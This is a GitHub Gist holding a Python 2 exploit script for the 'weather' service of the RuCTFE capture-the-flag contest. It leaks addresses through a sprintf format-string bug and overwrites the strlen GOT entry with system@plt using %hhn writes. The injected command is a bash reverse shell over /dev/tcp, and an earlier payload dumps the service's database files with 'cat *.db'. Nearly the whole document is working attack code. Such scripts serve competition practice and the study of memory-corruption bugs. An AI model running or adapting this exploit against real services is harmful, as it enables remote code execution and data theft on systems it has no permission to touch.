Last active
November 13, 2016 06:41
-
-
Save hhc0null/e62f0cb71ac981e683107521d9ab0373 to your computer and use it in GitHub Desktop.
RuCTFE: weather (explicit bof and fsb by sprintf())
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
import binascii | |
import hashlib | |
import re | |
import socket | |
import string | |
import struct | |
import subprocess | |
import sys | |
import time | |
import telnetlib | |
def p(x, t="<I"): return struct.pack(t, x) | |
def pl(l): return ''.join(map(p, l)) | |
def u(x, t="<I"): return struct.unpack(t, x)[0] | |
def ui(x): return u(p(x, t="<i"), t="<I") | |
def hx(b): return binascii.hexlify(b) | |
def uh(s): return binascii.unhexlify(s) | |
def a2n(s): return socket.inet_aton(s) | |
def n2a(s): return socket.inet_ntoa(s) | |
def read_until(f, delim='\n'): | |
data = "" | |
while not data.endswith(delim): | |
data += f.read(1) | |
return data | |
def wn(f, b): | |
f.write(b+'\n') | |
def connect(rhp): | |
print "[+] Connect to %s:%d"%(rhp) | |
s = socket.create_connection(rhp) | |
f = s.makefile('rw', bufsize=0) | |
return s, f | |
def interact(s): | |
t = telnetlib.Telnet() | |
t.sock = s | |
print "[+] 4ll y0U n33D 15 5h3ll!!" | |
t.interact() | |
def gen_shellcode(source, bits=32): | |
source = "".join([ | |
"BITS %d\n"%(bits), | |
source, | |
]) | |
filename = hashlib.md5(source).hexdigest() | |
with open("/tmp/%s.s"%(filename), "wb") as f: | |
f.write(source) | |
subprocess.call("nasm /tmp/%s.s -o /tmp/%s"%(filename, filename), shell=True) | |
with open("/tmp/%s"%filename, "rb") as f: | |
shellcode = f.read() | |
return filename, shellcode | |
### user-defined | |
offset_got_strlen = 0x506c | |
offset_plt_system = 0xa80 | |
offset_where = 0x3060 | |
offset_retaddr = 0x102c | |
if __name__ == '__main__': | |
if len(subprocess.sys.argv) != 3: | |
print >> subprocess.sys.stderr, "Usage: %s HOST PORT"%(subprocess.sys.argv[0]) | |
subprocess.sys.exit(1) | |
host, port = subprocess.sys.argv[1:] | |
rhp = (host, int(port)) | |
# leak the base address of binary, the saved ebp. | |
s, f = connect(rhp) | |
f.write(''.join(( | |
'cat *.db # '.ljust(0x400, 'A'), | |
'%2$p,%49$p', | |
))+'\n') | |
d = read_until(f) | |
print repr(d) | |
s.close() | |
f.close() | |
# get the magic addresses. | |
hexes = d[:-1].split(',') | |
weather_base = int(hexes[0], 16) - offset_where | |
addr_saved_ebp = int(hexes[1], 16) | |
print '[*] weather_base: '+hex(weather_base) | |
print '[*] address of saved ebp: '+hex(addr_saved_ebp) | |
# calculate some stuffs. | |
addr_plt_system = weather_base+offset_plt_system | |
addr_got_strlen = weather_base+offset_got_strlen | |
retaddr = addr_saved_ebp - offset_retaddr | |
print '[*] address of plt system: '+hex(addr_plt_system) | |
print '[*] address of got strlen: '+hex(addr_got_strlen) | |
print '[*] address of ret addr: '+hex(retaddr) | |
# construct a fsb payload. (wasted time...) | |
a,b,c,d = [ | |
(addr_plt_system >> 0x00) & 0xff, | |
(addr_plt_system >> 0x08) & 0xff, | |
(addr_plt_system >> 0x10) & 0xff, | |
(addr_plt_system >> 0x18) & 0xff, | |
] | |
t = { | |
a: p(addr_got_strlen), | |
b: p(addr_got_strlen+1), | |
c: p(addr_got_strlen+2), | |
d: p(addr_got_strlen+3), | |
} | |
a,b,c,d = sorted((a,b,c,d)) | |
targets = ''.join(( | |
t[a], # 69$ | |
t[b], # 70$ | |
t[c], # 71$ | |
t[d], # 72$ | |
)) | |
# refs: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet | |
command = 'bash -i >& /dev/tcp/127.0.0.1/12345 0>&1 # '.ljust(44, 'P') # `44` should be calculated automatically. | |
payload = ''.join(( | |
command, | |
targets, | |
'%{}c'.format(a-len(command)-len(targets)), | |
'%69$hhn', | |
'%{}c'.format(b-a), | |
'%70$hhn', | |
'%{}c'.format(c-b), | |
'%71$hhn', | |
'%{}c'.format(d-c), | |
'%72$hhn', | |
)) | |
print '[*] payload: '+repr(payload) | |
# pwn! | |
s, f = connect(rhp) | |
data = ''.join(( | |
''.ljust(0x400, 'A'), | |
payload, | |
'\n', | |
)) | |
f.write(data) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment